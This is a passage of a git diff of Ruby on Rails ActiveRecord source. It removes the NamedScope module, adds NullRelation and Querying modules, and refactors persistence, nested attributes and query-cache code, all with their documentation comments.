+      #    def down
+      #      drop_table :job_levels
+      #    end
+      #  end
+      def reset_column_information
+        connection.clear_cache!
+        undefine_attribute_methods
+        connection.schema_cache.clear_table_cache!(table_name) if table_exists?
+
+        @arel_engine          = nil
+        @column_defaults      = nil
+        @column_names         = nil
+        @columns              = nil
+        @columns_hash         = nil
+        @column_types         = nil
+        @content_columns      = nil
+        @dynamic_methods_hash = nil
+        @inheritance_column   = nil unless defined?(@explicit_inheritance_column) && @explicit_inheritance_column
+        @relation             = nil
+      end
+
+      # This is a hook for use by modules that need to do extra stuff to
+      # attributes when they are initialized. (e.g. attribute
+      # serialization)
+      def initialize_attributes(attributes, options = {}) #:nodoc:
+        attributes
+      end
+
+      private
+
+      # Guesses the table name, but does not decorate it with prefix and suffix information.
+      def undecorated_table_name(class_name = base_class.name)
+        table_name = class_name.to_s.demodulize.underscore
+        pluralize_table_names ? table_name.pluralize : table_name
+      end
+
+      # Computes and returns a table name according to default conventions.
+      def compute_table_name
+        base = base_class
+        if self == base
+          # Nested classes are prefixed with singular parent table name.
+          if parent < ActiveRecord::Model && !parent.abstract_class?
+            contained = parent.table_name
+            contained = contained.singularize if parent.pluralize_table_names
+            contained += '_'
+          end
+          "#{full_table_name_prefix}#{contained}#{undecorated_table_name(name)}#{table_name_suffix}"
+        else
+          # STI subclasses always use their superclass' table.
+          base.table_name
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/named_scope.rb b/activerecord/lib/active_record/named_scope.rb
deleted file mode 100644
index 0313abe456..0000000000
--- a/activerecord/lib/active_record/named_scope.rb
+++ /dev/null
@@ -1,200 +0,0 @@
-require 'active_support/core_ext/array'
-require 'active_support/core_ext/hash/except'
-require 'active_support/core_ext/kernel/singleton_class'
-require 'active_support/core_ext/object/blank'
-require 'active_support/core_ext/class/attribute'
-
-module ActiveRecord
-  # = Active Record Named \Scopes
-  module NamedScope
-    extend ActiveSupport::Concern
-
-    module ClassMethods
-      # Returns an anonymous \scope.
-      #
-      #   posts = Post.scoped
-      #   posts.size # Fires "select count(*) from  posts" and returns the count
-      #   posts.each {|p| puts p.name } # Fires "select * from posts" and loads post objects
-      #
-      #   fruits = Fruit.scoped
-      #   fruits = fruits.where(:color => 'red') if options[:red_only]
-      #   fruits = fruits.limit(10) if limited?
-      #
-      # Anonymous \scopes tend to be useful when procedurally generating complex
-      # queries, where passing intermediate values (\scopes) around as first-class
-      # objects is convenient.
-      #
-      # You can define a \scope that applies to all finders using
-      # ActiveRecord::Base.default_scope.
-      def scoped(options = nil)
-        if options
-          scoped.apply_finder_options(options)
-        else
-          if current_scope
-            current_scope.clone
-          else
-            scope = relation.clone
-            scope.default_scoped = true
-            scope
-          end
-        end
-      end
-
-      ##
-      # Collects attributes from scopes that should be applied when creating
-      # an AR instance for the particular class this is called on.
-      def scope_attributes # :nodoc:
-        if current_scope
-          current_scope.scope_for_create
-        else
-          scope = relation.clone
-          scope.default_scoped = true
-          scope.scope_for_create
-        end
-      end
-
-      ##
-      # Are there default attributes associated with this scope?
-      def scope_attributes? # :nodoc:
-        current_scope || default_scopes.any?
-      end
-
-      # Adds a class method for retrieving and querying objects. A \scope represents a narrowing of a database query,
-      # such as <tt>where(:color => :red).select('shirts.*').includes(:washing_instructions)</tt>.
-      #
-      #   class Shirt < ActiveRecord::Base
-      #     scope :red, where(:color => 'red')
-      #     scope :dry_clean_only, joins(:washing_instructions).where('washing_instructions.dry_clean_only = ?', true)
-      #   end
-      #
-      # The above calls to <tt>scope</tt> define class methods Shirt.red and Shirt.dry_clean_only. Shirt.red,
-      # in effect, represents the query <tt>Shirt.where(:color => 'red')</tt>.
-      #
-      # Note that this is simply 'syntactic sugar' for defining an actual class method:
-      #
-      #   class Shirt < ActiveRecord::Base
-      #     def self.red
-      #       where(:color => 'red')
-      #     end
-      #   end
-      #
-      # Unlike <tt>Shirt.find(...)</tt>, however, the object returned by Shirt.red is not an Array; it
-      # resembles the association object constructed by a <tt>has_many</tt> declaration. For instance,
-      # you can invoke <tt>Shirt.red.first</tt>, <tt>Shirt.red.count</tt>, <tt>Shirt.red.where(:size => 'small')</tt>.
-      # Also, just as with the association objects, named \scopes act like an Array, implementing Enumerable;
-      # <tt>Shirt.red.each(&block)</tt>, <tt>Shirt.red.first</tt>, and <tt>Shirt.red.inject(memo, &block)</tt>
-      # all behave as if Shirt.red really was an Array.
-      #
-      # These named \scopes are composable. For instance, <tt>Shirt.red.dry_clean_only</tt> will produce
-      # all shirts that are both red and dry clean only.
-      # Nested finds and calculations also work with these compositions: <tt>Shirt.red.dry_clean_only.count</tt>
-      # returns the number of garments for which these criteria obtain. Similarly with
-      # <tt>Shirt.red.dry_clean_only.average(:thread_count)</tt>.
-      #
-      # All \scopes are available as class methods on the ActiveRecord::Base descendant upon which
-      # the \scopes were defined. But they are also available to <tt>has_many</tt> associations. If,
-      #
-      #   class Person < ActiveRecord::Base
-      #     has_many :shirts
-      #   end
-      #
-      # then <tt>elton.shirts.red.dry_clean_only</tt> will return all of Elton's red, dry clean
-      # only shirts.
-      #
-      # Named \scopes can also be procedural:
-      #
-      #   class Shirt < ActiveRecord::Base
-      #     scope :colored, lambda { |color| where(:color => color) }
-      #   end
-      #
-      # In this example, <tt>Shirt.colored('puce')</tt> finds all puce shirts.
-      #
-      # On Ruby 1.9 you can use the 'stabby lambda' syntax:
-      #
-      #   scope :colored, ->(color) { where(:color => color) }
-      #
-      # Note that scopes defined with \scope will be evaluated when they are defined, rather than
-      # when they are used. For example, the following would be incorrect:
-      #
-      #   class Post < ActiveRecord::Base
-      #     scope :recent, where('published_at >= ?', Time.now - 1.week)
-      #   end
-      #
-      # The example above would be 'frozen' to the <tt>Time.now</tt> value when the <tt>Post</tt>
-      # class was defined, and so the resultant SQL query would always be the same. The correct
-      # way to do this would be via a lambda, which will re-evaluate the scope each time
-      # it is called:
-      #
-      #   class Post < ActiveRecord::Base
-      #     scope :recent, lambda { where('published_at >= ?', Time.now - 1.week) }
-      #   end
-      #
-      # Named \scopes can also have extensions, just as with <tt>has_many</tt> declarations:
-      #
-      #   class Shirt < ActiveRecord::Base
-      #     scope :red, where(:color => 'red') do
-      #       def dom_id
-      #         'red_shirts'
-      #       end
-      #     end
-      #   end
-      #
-      # Scopes can also be used while creating/building a record.
-      #
-      #   class Article < ActiveRecord::Base
-      #     scope :published, where(:published => true)
-      #   end
-      #
-      #   Article.published.new.published    # => true
-      #   Article.published.create.published # => true
-      #
-      # Class methods on your model are automatically available
-      # on scopes. Assuming the following setup:
-      #
-      #   class Article < ActiveRecord::Base
-      #     scope :published, where(:published => true)
-      #     scope :featured, where(:featured => true)
-      #
-      #     def self.latest_article
-      #       order('published_at desc').first
-      #     end
-      #
-      #     def self.titles
-      #       map(&:title)
-      #     end
-      #
-      #   end
-      #
-      # We are able to call the methods like this:
-      #
-      #   Article.published.featured.latest_article
-      #   Article.featured.titles
-
-      def scope(name, scope_options = {})
-        name = name.to_sym
-        valid_scope_name?(name)
-        extension = Module.new(&Proc.new) if block_given?
-
-        scope_proc = lambda do |*args|
-          options = scope_options.respond_to?(:call) ? scope_options.call(*args) : scope_options
-          options = scoped.apply_finder_options(options) if options.is_a?(Hash)
-
-          relation = scoped.merge(options)
-
-          extension ? relation.extending(extension) : relation
-        end
-
-        singleton_class.send(:redefine_method, name, &scope_proc)
-      end
-
-    protected
-
-      def valid_scope_name?(name)
-        if respond_to?(name, true)
-          logger.warn "Creating scope :#{name}. " \
-                      "Overwriting existing method #{self.name}.#{name}."
-        end
-      end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/nested_attributes.rb b/activerecord/lib/active_record/nested_attributes.rb
index d2065d701f..be013a068c 100644
--- a/activerecord/lib/active_record/nested_attributes.rb
+++ b/activerecord/lib/active_record/nested_attributes.rb
@@ -1,10 +1,13 @@
 require 'active_support/core_ext/hash/except'
 require 'active_support/core_ext/object/try'
-require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/hash/indifferent_access'
-require 'active_support/core_ext/class/attribute'
 
 module ActiveRecord
+  ActiveSupport.on_load(:active_record_config) do
+    mattr_accessor :nested_attributes_options, instance_accessor: false
+    self.nested_attributes_options = {}
+  end
+
   module NestedAttributes #:nodoc:
     class TooManyRecords < ActiveRecordError
     end
@@ -12,17 +15,16 @@ module ActiveRecord
     extend ActiveSupport::Concern
 
     included do
-      class_attribute :nested_attributes_options, :instance_writer => false
-      self.nested_attributes_options = {}
+      config_attribute :nested_attributes_options
     end
 
     # = Active Record Nested Attributes
     #
     # Nested attributes allow you to save attributes on associated records
-    # through the parent. By default nested attribute updating is turned off,
-    # you can enable it using the accepts_nested_attributes_for class method.
-    # When you enable nested attributes an attribute writer is defined on
-    # the model.
+    # through the parent. By default nested attribute updating is turned off
+    # and you can enable it using the accepts_nested_attributes_for class
+    # method. When you enable nested attributes an attribute writer is
+    # defined on the model.
     #
     # The attribute writer is named after the association, which means that
     # in the following example, two new methods are added to your model:
@@ -248,10 +250,18 @@ module ActiveRecord
       #   exception is raised. If omitted, any number associations can be processed.
       #   Note that the :limit option is only applicable to one-to-many associations.
       # [:update_only]
-      #   Allows you to specify that an existing record may only be updated.
-      #   A new record may only be created when there is no existing record.
-      #   This option only works for one-to-one associations and is ignored for
-      #   collection associations. This option is off by default.
+      #   For a one-to-one association, this option allows you to specify how
+      #   nested attributes are to be used when an associated record already
+      #   exists. In general, an existing record may either be updated with the
+      #   new set of attribute values or be replaced by a wholly new record
+      #   containing those values. By default the :update_only option is +false+
+      #   and the nested attributes are used to update the existing record only
+      #   if they include the record's <tt>:id</tt> value. Otherwise a new
+      #   record will be instantiated and used to replace the existing one.
+      #   However if the :update_only option is +true+, the nested attributes
+      #   are used to update the record's attributes always, regardless of
+      #   whether the <tt>:id</tt> is present. The option is ignored for collection
+      #   associations.
       #
       # Examples:
       #   # creates avatar_attributes=
@@ -280,7 +290,7 @@ module ActiveRecord
             # def pirate_attributes=(attributes)
             #   assign_nested_attributes_for_one_to_one_association(:pirate, attributes, mass_assignment_options)
             # end
-            class_eval <<-eoruby, __FILE__, __LINE__ + 1
+            generated_feature_methods.module_eval <<-eoruby, __FILE__, __LINE__ + 1
               if method_defined?(:#{association_name}_attributes=)
                 remove_method(:#{association_name}_attributes=)
               end
@@ -312,10 +322,13 @@ module ActiveRecord
 
     # Assigns the given attributes to the association.
     #
-    # If update_only is false and the given attributes include an <tt>:id</tt>
-    # that matches the existing record's id, then the existing record will be
-    # modified. If update_only is true, a new record is only created when no
-    # object exists. Otherwise a new record will be built.
+    # If an associated record does not yet exist, one will be instantiated. If
+    # an associated record already exists, the method's behavior depends on
+    # the value of the update_only option. If update_only is +false+ and the
+    # given attributes include an <tt>:id</tt> that matches the existing record's
+    # id, then the existing record will be modified. If no <tt>:id</tt> is provided
+    # it will be replaced with a new record. If update_only is +true+ the existing
+    # record will be modified regardless of whether an <tt>:id</tt> is provided.
     #
     # If the given attributes include a matching <tt>:id</tt> attribute, or
     # update_only is true, and a <tt>:_destroy</tt> key set to a truthy value,
@@ -336,7 +349,7 @@ module ActiveRecord
         if respond_to?(method)
           send(method, attributes.except(*unassignable_keys(assignment_opts)), assignment_opts)
         else
-          raise ArgumentError, "Cannot build association #{association_name}. Are you trying to build a polymorphic one-to-one association?"
+          raise ArgumentError, "Cannot build association `#{association_name}'. Are you trying to build a polymorphic one-to-one association?"
         end
       end
     end
@@ -358,7 +371,7 @@ module ActiveRecord
     #   })
     #
     # Will update the name of the Person with ID 1, build a new associated
-    # person with the name `John', and mark the associated Person with ID 2
+    # person with the name 'John', and mark the associated Person with ID 2
     # for destruction.
     #
     # Also accepts an Array of attribute hashes:
@@ -382,7 +395,7 @@ module ActiveRecord
       if attributes_collection.is_a? Hash
         keys = attributes_collection.keys
         attributes_collection = if keys.include?('id') || keys.include?(:id)
-          Array.wrap(attributes_collection)
+          [attributes_collection]
         else
           attributes_collection.values
         end
@@ -394,7 +407,7 @@ module ActiveRecord
         association.target
       else
         attribute_ids = attributes_collection.map {|a| a['id'] || a[:id] }.compact
-        attribute_ids.empty? ? [] : association.scoped.where(association.klass.primary_key => attribute_ids)
+        attribute_ids.empty? ? [] : association.scope.where(association.klass.primary_key => attribute_ids)
       end
 
       attributes_collection.each do |attributes|
diff --git a/activerecord/lib/active_record/null_relation.rb b/activerecord/lib/active_record/null_relation.rb
new file mode 100644
index 0000000000..4c1c91e3df
--- /dev/null
+++ b/activerecord/lib/active_record/null_relation.rb
@@ -0,0 +1,61 @@
+# -*- coding: utf-8 -*-
+
+module ActiveRecord
+  module NullRelation # :nodoc:
+    def exec_queries
+      @records = []
+    end
+
+    def pluck(_column_name)
+      []
+    end
+
+    def delete_all(_conditions = nil)
+      0
+    end
+
+    def update_all(_updates, _conditions = nil, _options = {})
+      0
+    end
+
+    def delete(_id_or_array)
+      0
+    end
+
+    def size
+      0
+    end
+
+    def empty?
+      true
+    end
+
+    def any?
+      false
+    end
+
+    def many?
+      false
+    end
+
+    def to_sql
+      @to_sql ||= ""
+    end
+
+    def where_values_hash
+      {}
+    end
+
+    def count
+      0
+    end
+
+    def calculate(_operation, _column_name, _options = {})
+      nil
+    end
+
+    def exists?(_id = false)
+      false
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/observer.rb b/activerecord/lib/active_record/observer.rb
index fdf17c003c..6b2f6f98a5 100644
--- a/activerecord/lib/active_record/observer.rb
+++ b/activerecord/lib/active_record/observer.rb
@@ -1,4 +1,3 @@
-require 'active_support/core_ext/class/attribute'
 
 module ActiveRecord
   # = Active Record Observer
@@ -74,6 +73,12 @@ module ActiveRecord
   #
   # Observers will not be invoked unless you define these in your application configuration.
   #
+  # If you are using Active Record outside Rails, activate the observers explicitly in a configuration or
+  # environment file:
+  #
+  #   ActiveRecord::Base.add_observer CommentObserver.instance
+  #   ActiveRecord::Base.add_observer SignupObserver.instance
+  #
   # == Loading
   #
   # Observers register themselves in the model class they observe, since it is the class that
diff --git a/activerecord/lib/active_record/persistence.rb b/activerecord/lib/active_record/persistence.rb
index 5e65e46a7d..6b4b9bd103 100644
--- a/activerecord/lib/active_record/persistence.rb
+++ b/activerecord/lib/active_record/persistence.rb
@@ -1,6 +1,52 @@
+
 module ActiveRecord
   # = Active Record Persistence
   module Persistence
+    extend ActiveSupport::Concern
+
+    module ClassMethods
+      # Creates an object (or multiple objects) and saves it to the database, if validations pass.
+      # The resulting object is returned whether the object was saved successfully to the database or not.
+      #
+      # The +attributes+ parameter can be either a Hash or an Array of Hashes. These Hashes describe the
+      # attributes on the objects that are to be created.
+      #
+      # +create+ respects mass-assignment security and accepts either +:as+ or +:without_protection+ options
+      # in the +options+ parameter.
+      #
+      # ==== Examples
+      #   # Create a single new object
+      #   User.create(:first_name => 'Jamie')
+      #
+      #   # Create a single new object using the :admin mass-assignment security role
+      #   User.create({ :first_name => 'Jamie', :is_admin => true }, :as => :admin)
+      #
+      #   # Create a single new object bypassing mass-assignment security
+      #   User.create({ :first_name => 'Jamie', :is_admin => true }, :without_protection => true)
+      #
+      #   # Create an Array of new objects
+      #   User.create([{ :first_name => 'Jamie' }, { :first_name => 'Jeremy' }])
+      #
+      #   # Create a single object and pass it into a block to set other attributes.
+      #   User.create(:first_name => 'Jamie') do |u|
+      #     u.is_admin = false
+      #   end
+      #
+      #   # Creating an Array of new objects using a block, where the block is executed for each object:
+      #   User.create([{ :first_name => 'Jamie' }, { :first_name => 'Jeremy' }]) do |u|
+      #     u.is_admin = false
+      #   end
+      def create(attributes = nil, options = {}, &block)
+        if attributes.is_a?(Array)
+          attributes.collect { |attr| create(attr, options, &block) }
+        else
+          object = new(attributes, options, &block)
+          object.save
+          object
+        end
+      end
+    end
+
     # Returns true if this object hasn't been saved yet -- that is, a record
     # for the object doesn't exist in the data store yet; otherwise, returns false.
     def new_record?
@@ -12,8 +58,8 @@ module ActiveRecord
       @destroyed
     end
 
-    # Returns if the record is persisted, i.e. it's not a new record and it was
-    # not destroyed.
+    # Returns true if the record is persisted, i.e. it's not a new record and it was
+    # not destroyed, otherwise returns false.
     def persisted?
       !(new_record? || destroyed?)
     end
@@ -68,36 +114,37 @@ module ActiveRecord
     # callbacks, Observer methods, or any <tt>:dependent</tt> association
     # options, use <tt>#destroy</tt>.
     def delete
-      if persisted?
-        self.class.delete(id)
-        IdentityMap.remove(self) if IdentityMap.enabled?
-      end
+      self.class.delete(id) if persisted?
       @destroyed = true
       freeze
     end
 
     # Deletes the record in the database and freezes this instance to reflect
     # that no changes should be made (since they can't be persisted).
+    #
+    # There's a series of callbacks associated with <tt>destroy</tt>. If
+    # the <tt>before_destroy</tt> callback return +false+ the action is cancelled
+    # and <tt>destroy</tt> returns +false+. See
+    # ActiveRecord::Callbacks for further details.
     def destroy
+      raise ReadOnlyRecord if readonly?
       destroy_associations
-
-      if persisted?
-        IdentityMap.remove(self) if IdentityMap.enabled?
-        pk         = self.class.primary_key
-        column     = self.class.columns_hash[pk]
-        substitute = connection.substitute_at(column, 0)
-
-        relation = self.class.unscoped.where(
-          self.class.arel_table[pk].eq(substitute))
-
-        relation.bind_values = [[column, id]]
-        relation.delete_all
-      end
-
+      destroy_row if persisted?
       @destroyed = true
       freeze
     end
 
+    # Deletes the record in the database and freezes this instance to reflect
+    # that no changes should be made (since they can't be persisted).
+    #
+    # There's a series of callbacks associated with <tt>destroy!</tt>. If
+    # the <tt>before_destroy</tt> callback return +false+ the action is cancelled
+    # and <tt>destroy!</tt> raises ActiveRecord::RecordNotDestroyed. See
+    # ActiveRecord::Callbacks for further details.
+    def destroy!
+      destroy || raise(ActiveRecord::RecordNotDestroyed)
+    end
+
     # Returns an instance of the specified +klass+ with the attributes of the
     # current record. This is mostly useful in relation to single-table
     # inheritance structures where you want a subclass to appear as the
@@ -114,41 +161,11 @@ module ActiveRecord
       became.instance_variable_set("@attributes_cache", @attributes_cache)
       became.instance_variable_set("@new_record", new_record?)
       became.instance_variable_set("@destroyed", destroyed?)
+      became.instance_variable_set("@errors", errors)
       became.type = klass.name unless self.class.descends_from_active_record?
       became
     end
 
-    # Updates a single attribute and saves the record.
-    # This is especially useful for boolean flags on existing records. Also note that
-    #
-    # * Validation is skipped.
-    # * Callbacks are invoked.
-    # * updated_at/updated_on column is updated if that column is available.
-    # * Updates all the attributes that are dirty in this object.
-    #
-    def update_attribute(name, value)
-      name = name.to_s
-      raise ActiveRecordError, "#{name} is marked as readonly" if self.class.readonly_attributes.include?(name)
-      send("#{name}=", value)
-      save(:validate => false)
-    end
-
-    # Updates a single attribute of an object, without calling save.
-    #
-    # * Validation is skipped.
-    # * Callbacks are skipped.
-    # * updated_at/updated_on column is not updated if that column is available.
-    #
-    # Raises an +ActiveRecordError+ when called on new objects, or when the +name+
-    # attribute is marked as readonly.
-    def update_column(name, value)
-      name = name.to_s
-      raise ActiveRecordError, "#{name} is marked as readonly" if self.class.readonly_attributes.include?(name)
-      raise ActiveRecordError, "can not update on a new record object" unless persisted?
-      raw_write_attribute(name, value)
-      self.class.update_all({ name => value }, self.class.primary_key => id) == 1
-    end
-
     # Updates the attributes of the model from the passed-in hash and saves the
     # record, all wrapped in a transaction. If the object is invalid, the saving
     # will fail and false will be returned.
@@ -161,7 +178,7 @@ module ActiveRecord
       # The following transaction covers any possible database side-effects of the
       # attributes assignment. For example, setting the IDs of a child collection.
       with_transaction_returning_status do
-        self.assign_attributes(attributes, options)
+        assign_attributes(attributes, options)
         save
       end
     end
@@ -172,11 +189,45 @@ module ActiveRecord
       # The following transaction covers any possible database side-effects of the
       # attributes assignment. For example, setting the IDs of a child collection.
       with_transaction_returning_status do
-        self.assign_attributes(attributes, options)
+        assign_attributes(attributes, options)
         save!
       end
     end
 
+    # Updates a single attribute of an object, without calling save.
+    #
+    # * Validation is skipped.
+    # * Callbacks are skipped.
+    # * updated_at/updated_on column is not updated if that column is available.
+    #
+    # Raises an +ActiveRecordError+ when called on new objects, or when the +name+
+    # attribute is marked as readonly.
+    def update_column(name, value)
+      update_columns(name => value)
+    end
+
+    # Updates the attributes from the passed-in hash, without calling save.
+    #
+    # * Validation is skipped.
+    # * Callbacks are skipped.
+    # * updated_at/updated_on column is not updated if that column is available.
+    #
+    # Raises an +ActiveRecordError+ when called on new objects, or when at least
+    # one of the attributes is marked as readonly.
+    def update_columns(attributes)
+      raise ActiveRecordError, "can not update on a new record object" unless persisted?
+
+      attributes.each_key do |key|
+        raise ActiveRecordError, "#{key} is marked as readonly" if self.class.readonly_attributes.include?(key.to_s)
+      end
+
+      attributes.each do |k,v|
+        raw_write_attribute(k,v)
+      end
+
+      self.class.where(self.class.primary_key => id).update_all(attributes) == 1
+    end
+
     # Initializes +attribute+ to zero if +nil+ and adds the value passed as +by+ (default is 1).
     # The increment is performed directly on the underlying attribute, no setter is invoked.
     # Only makes sense for number-based attributes. Returns +self+.
@@ -191,7 +242,7 @@ module ActiveRecord
     # Saving is not subjected to validation checks. Returns +true+ if the
     # record could be saved.
     def increment!(attribute, by = 1)
-      increment(attribute, by).update_attribute(attribute, self[attribute])
+      increment(attribute, by).update_columns(attribute => self[attribute])
     end
 
     # Initializes +attribute+ to zero if +nil+ and subtracts the value passed as +by+ (default is 1).
@@ -208,7 +259,7 @@ module ActiveRecord
     # Saving is not subjected to validation checks. Returns +true+ if the
     # record could be saved.
     def decrement!(attribute, by = 1)
-      decrement(attribute, by).update_attribute(attribute, self[attribute])
+      decrement(attribute, by).update_columns(attribute => self[attribute])
     end
 
     # Assigns to +attribute+ the boolean opposite of <tt>attribute?</tt>. So
@@ -225,7 +276,7 @@ module ActiveRecord
     # Saving is not subjected to validation checks. Returns +true+ if the
     # record could be saved.
     def toggle!(attribute)
-      toggle(attribute).update_attribute(attribute, self[attribute])
+      toggle(attribute).update_columns(attribute => self[attribute])
     end
 
     # Reloads the attributes of this object from the database.
@@ -236,10 +287,15 @@ module ActiveRecord
       clear_aggregation_cache
       clear_association_cache
 
-      IdentityMap.without do
-        fresh_object = self.class.unscoped { self.class.find(self.id, options) }
-        @attributes.update(fresh_object.instance_variable_get('@attributes'))
-      end
+      fresh_object =
+        if options && options[:lock]
+          self.class.unscoped { self.class.lock.find(id) }
+        else
+          self.class.unscoped { self.class.find(id) }
+        end
+
+      @attributes.update(fresh_object.instance_variable_get('@attributes'))
+      @columns_hash = fresh_object.instance_variable_get('@columns_hash')
 
       @attributes_cache = {}
       self
@@ -274,14 +330,15 @@ module ActiveRecord
         changes = {}
 
         attributes.each do |column|
-          changes[column.to_s] = write_attribute(column.to_s, current_time)
+          column = column.to_s
+          changes[column] = write_attribute(column, current_time)
         end
 
         changes[self.class.locking_column] = increment_lock if locking_enabled?
 
         @changed_attributes.except!(*changes.keys)
         primary_key = self.class.primary_key
-        self.class.unscoped.update_all(changes, { primary_key => self[primary_key] }) == 1
+        self.class.unscoped.where(primary_key => self[primary_key]).update_all(changes) == 1
       end
     end
 
@@ -291,6 +348,22 @@ module ActiveRecord
     def destroy_associations
     end
 
+    def destroy_row
+      relation_for_destroy.delete_all
+    end
+
+    def relation_for_destroy
+      pk         = self.class.primary_key
+      column     = self.class.columns_hash[pk]
+      substitute = connection.substitute_at(column, 0)
+
+      relation = self.class.unscoped.where(
+        self.class.arel_table[pk].eq(substitute))
+
+      relation.bind_values = [[column, id]]
+      relation
+    end
+
     def create_or_update
       raise ReadOnlyRecord if readonly?
       result = new_record? ? create : update
@@ -300,7 +373,7 @@ module ActiveRecord
     # Updates the associated record with values matching those of the instance attributes.
     # Returns the number of affected rows.
     def update(attribute_names = @attributes.keys)
-      attributes_with_values = arel_attributes_values(false, false, attribute_names)
+      attributes_with_values = arel_attributes_with_values_for_update(attribute_names)
       return 0 if attributes_with_values.empty?
       klass = self.class
       stmt = klass.unscoped.where(klass.arel_table[klass.primary_key].eq(id)).arel.compile_update(attributes_with_values)
@@ -310,23 +383,13 @@ module ActiveRecord
     # Creates a record with values matching those of the instance attributes
     # and returns its id.
     def create
-      attributes_values = arel_attributes_values(!id.nil?)
+      attributes_values = arel_attributes_with_values_for_create(!id.nil?)
 
       new_id = self.class.unscoped.insert attributes_values
-
       self.id ||= new_id if self.class.primary_key
 
-      IdentityMap.add(self) if IdentityMap.enabled?
       @new_record = false
       id
     end
-
-    # Initializes the attributes array with keys matching the columns from the linked table and
-    # the values matching the corresponding default value of that column, so
-    # that a new instance, or one populated from a passed-in Hash, still has all the attributes
-    # that instances loaded from the database would.
-    def attributes_from_column_definition
-      self.class.column_defaults.dup
-    end
   end
 end
diff --git a/activerecord/lib/active_record/query_cache.rb b/activerecord/lib/active_record/query_cache.rb
index 466d148901..2bd8ecda20 100644
--- a/activerecord/lib/active_record/query_cache.rb
+++ b/activerecord/lib/active_record/query_cache.rb
@@ -1,4 +1,3 @@
-require 'active_support/core_ext/object/blank'
 
 module ActiveRecord
   # = Active Record Query Cache
@@ -27,48 +26,29 @@ module ActiveRecord
       @app = app
     end
 
-    class BodyProxy # :nodoc:
-      def initialize(original_cache_value, target, connection_id)
-        @original_cache_value = original_cache_value
-        @target               = target
-        @connection_id        = connection_id
-      end
-
-      def method_missing(method_sym, *arguments, &block)
-        @target.send(method_sym, *arguments, &block)
-      end
-
-      def respond_to?(method_sym, include_private = false)
-        super || @target.respond_to?(method_sym)
-      end
+    def call(env)
+      enabled       = ActiveRecord::Base.connection.query_cache_enabled
+      connection_id = ActiveRecord::Base.connection_id
+      ActiveRecord::Base.connection.enable_query_cache!
 
-      def each(&block)
-        @target.each(&block)
+      response = @app.call(env)
+      response[2] = Rack::BodyProxy.new(response[2]) do
+        restore_query_cache_settings(connection_id, enabled)
       end
 
-      def close
-        @target.close if @target.respond_to?(:close)
-      ensure
-        ActiveRecord::Base.connection_id = @connection_id
-        ActiveRecord::Base.connection.clear_query_cache
-        unless @original_cache_value
-          ActiveRecord::Base.connection.disable_query_cache!
-        end
-      end
+      response
+    rescue Exception => e
+      restore_query_cache_settings(connection_id, enabled)
+      raise e
     end
 
-    def call(env)
-      old = ActiveRecord::Base.connection.query_cache_enabled
-      ActiveRecord::Base.connection.enable_query_cache!
+    private
 
-      status, headers, body = @app.call(env)
-      [status, headers, BodyProxy.new(old, body, ActiveRecord::Base.connection_id)]
-    rescue Exception => e
+    def restore_query_cache_settings(connection_id, enabled)
+      ActiveRecord::Base.connection_id = connection_id
       ActiveRecord::Base.connection.clear_query_cache
-      unless old
-        ActiveRecord::Base.connection.disable_query_cache!
-      end
-      raise e
+      ActiveRecord::Base.connection.disable_query_cache! unless enabled
     end
+
   end
 end
diff --git a/activerecord/lib/active_record/querying.rb b/activerecord/lib/active_record/querying.rb
new file mode 100644
index 0000000000..13e09eda53
--- /dev/null
+++ b/activerecord/lib/active_record/querying.rb
@@ -0,0 +1,69 @@
+
+module ActiveRecord
+  module Querying
+    delegate :find, :take, :take!, :first, :first!, :last, :last!, :exists?, :any?, :many?, :to => :all
+    delegate :first_or_create, :first_or_create!, :first_or_initialize, :to => :all
+    delegate :find_by, :find_by!, :to => :all
+    delegate :destroy, :destroy_all, :delete, :delete_all, :update, :update_all, :to => :all
+    delegate :find_each, :find_in_batches, :to => :all
+    delegate :select, :group, :order, :except, :reorder, :limit, :offset, :joins,
+             :where, :preload, :eager_load, :includes, :from, :lock, :readonly,
+             :having, :create_with, :uniq, :references, :none, :to => :all
+    delegate :count, :average, :minimum, :maximum, :sum, :calculate, :pluck, :ids, :to => :all
+
+    # Executes a custom SQL query against your database and returns all the results. The results will
+    # be returned as an array with columns requested encapsulated as attributes of the model you call
+    # this method from. If you call <tt>Product.find_by_sql</tt> then the results will be returned in
+    # a Product object with the attributes you specified in the SQL query.
+    #
+    # If you call a complicated SQL query which spans multiple tables the columns specified by the
+    # SELECT will be attributes of the model, whether or not they are columns of the corresponding
+    # table.
+    #
+    # The +sql+ parameter is a full SQL query as a string. It will be called as is, there will be
+    # no database agnostic conversions performed. This should be a last resort because using, for example,
+    # MySQL specific terms will lock you to using that particular database engine or require you to
+    # change your call if you switch engines.
+    #
+    # ==== Examples
+    #   # A simple SQL query spanning multiple tables
+    #   Post.find_by_sql "SELECT p.title, c.author FROM posts p, comments c WHERE p.id = c.post_id"
+    #   > [#<Post:0x36bff9c @attributes={"title"=>"Ruby Meetup", "first_name"=>"Quentin"}>, ...]
+    #
+    #   # You can use the same string replacement techniques as you can with ActiveRecord#find
+    #   Post.find_by_sql ["SELECT title FROM posts WHERE author = ? AND created > ?", author_id, start_date]
+    #   > [#<Post:0x36bff9c @attributes={"title"=>"The Cheap Man Buys Twice"}>, ...]
+    def find_by_sql(sql, binds = [])
+      logging_query_plan do
+        result_set = connection.select_all(sanitize_sql(sql), "#{name} Load", binds)
+        column_types = {}
+
+        if result_set.respond_to? :column_types
+          column_types = result_set.column_types
+        else
+          ActiveSupport::Deprecation.warn "the object returned from `select_all` must respond to `column_types`"
+        end
+
+        result_set.map { |record| instantiate(record, column_types) }
+      end
+    end
+
+    # Returns the result of an SQL statement that should only include a COUNT(*) in the SELECT part.
+    # The use of this method should be restricted to complicated SQL queries that can't be executed
+    # using the ActiveRecord::Calculations class methods. Look into those before using this.
+    #
+    # ==== Parameters
+    #
+    # * +sql+ - An SQL statement which should return a count query from the database, see the example below.
+    #
+    # ==== Examples
+    #
+    #   Product.count_by_sql "SELECT COUNT(*) FROM sales s, customers c WHERE s.customer_id = c.id"
+    def count_by_sql(sql)
+      logging_query_plan do
+        sql = sanitize_conditions(sql)
+        connection.select_value(sql, "#{name} Count").to_i
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/railtie.rb b/activerecord/lib/active_record/railtie.rb
index 47133e77e8..ecf8547e67 100644
--- a/activerecord/lib/active_record/railtie.rb
+++ b/activerecord/lib/active_record/railtie.rb
